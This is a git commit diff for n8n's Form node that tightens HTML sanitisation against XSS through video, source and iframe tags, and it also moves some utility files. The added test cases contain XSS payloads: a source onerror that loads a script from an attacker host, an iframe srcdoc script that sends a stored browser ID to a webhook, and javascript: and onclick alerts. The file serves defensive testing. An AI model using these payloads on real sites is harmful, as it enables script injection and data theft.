fix(n8n Form Node): Prevent XSS with video and source tags (#16329)

This commit is contained in:
Dana
2025-06-16 16:42:54 +02:00
committed by GitHub
parent c3653275f2
commit 759e555993
11 changed files with 55 additions and 18 deletions

View File

@@ -19,12 +19,12 @@ import {
} from 'n8n-workflow';
import { cssVariables } from './cssVariables';
import { renderFormCompletion } from './formCompletionUtils';
import { renderFormNode } from './formNodeUtils';
import { renderFormCompletion } from './utils/formCompletionUtils';
import { renderFormNode } from './utils/formNodeUtils';
import { prepareFormReturnItem, resolveRawData } from './utils/utils';
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
const waitTimeProperties: INodeProperties[] = [
{

View File

@@ -2,7 +2,7 @@ import { type Response } from 'express';
import { type MockProxy, mock } from 'jest-mock-extended';
import { type INode, type IWebhookFunctions } from 'n8n-workflow';
import { binaryResponse, renderFormCompletion } from '../formCompletionUtils';
import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
describe('formCompletionUtils', () => {
let mockWebhookFunctions: MockProxy<IWebhookFunctions>;

View File

@@ -7,7 +7,7 @@ import {
type NodeTypeAndVersion,
} from 'n8n-workflow';
import { renderFormNode } from '../formNodeUtils';
import { renderFormNode } from '../utils/formNodeUtils';
describe('formNodeUtils', () => {
let webhookFunctions: MockProxy<IWebhookFunctions>;

View File

@@ -22,7 +22,7 @@ import {
validateResponseModeConfiguration,
prepareFormFields,
addFormResponseDataToReturnItem,
} from '../utils';
} from '../utils/utils';
describe('FormTrigger, parseFormDescription', () => {
it('should remove HTML tags and truncate to 150 characters', () => {
@@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
html: '<input type="text" value="test">',
expected: '',
},
{
html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
expected:
'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
},
{
html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
expected:
'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
},
{
html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
expected: '<video><source></source></video>',
},
{
html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
expected:
'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
},
];
givenHtml.forEach(({ html, expected }) => {

View File

@@ -18,11 +18,11 @@ import {
} from 'n8n-workflow';
import sanitize from 'sanitize-html';
import type { FormTriggerData, FormTriggerInput } from './interfaces';
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces';
import { getResolvables } from '../../utils/utilities';
import { WebhookAuthorizationError } from '../Webhook/error';
import { validateWebhookAuthentication } from '../Webhook/utils';
import { getResolvables } from '../../../utils/utilities';
import { WebhookAuthorizationError } from '../../Webhook/error';
import { validateWebhookAuthentication } from '../../Webhook/utils';
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
import type { FormTriggerData, FormTriggerInput } from '../interfaces';
export function sanitizeHtml(text: string) {
return sanitize(text, {
@@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
allowedAttributes: {
a: ['href', 'target', 'rel'],
img: ['src', 'alt', 'width', 'height'],
video: ['*'],
iframe: ['*'],
source: ['*'],
video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
iframe: [
'src',
'width',
'height',
'frameborder',
'allow',
'allowfullscreen',
'referrerpolicy',
],
source: ['src', 'type'],
},
allowedSchemes: ['https', 'http'],
allowedSchemesByTag: {
source: ['https', 'http'],
iframe: ['https', 'http'],
},
allowProtocolRelative: false,
transformTags: {
iframe: sanitize.simpleTransform('iframe', {
sandbox: '',

View File

@@ -15,7 +15,7 @@ import {
formTriggerPanel,
webhookPath,
} from '../common.descriptions';
import { formWebhook } from '../utils';
import { formWebhook } from '../utils/utils';
const descriptionV1: INodeTypeDescription = {
displayName: 'n8n Form Trigger',

View File

@@ -21,7 +21,7 @@ import {
} from '../common.descriptions';
import { cssVariables } from '../cssVariables';
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
import { formWebhook } from '../utils';
import { formWebhook } from '../utils/utils';
const useWorkflowTimezone: INodeProperties = {
displayName: 'Use Workflow Timezone',

View File

@@ -23,7 +23,7 @@ import {
formTitle,
appendAttributionToForm,
} from '../Form/common.descriptions';
import { formWebhook } from '../Form/utils';
import { formWebhook } from '../Form/utils/utils';
import {
authenticationProperty,
credentialsProperty,

View File

@@ -24,7 +24,11 @@ import {
import type { IEmail } from './interfaces';
import { cssVariables } from '../../nodes/Form/cssVariables';
import { formFieldsProperties } from '../../nodes/Form/Form.node';
import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils';
import {
prepareFormData,
prepareFormReturnItem,
resolveRawData,
} from '../../nodes/Form/utils/utils';
import { escapeHtml } from '../utilities';
export type SendAndWaitConfig = {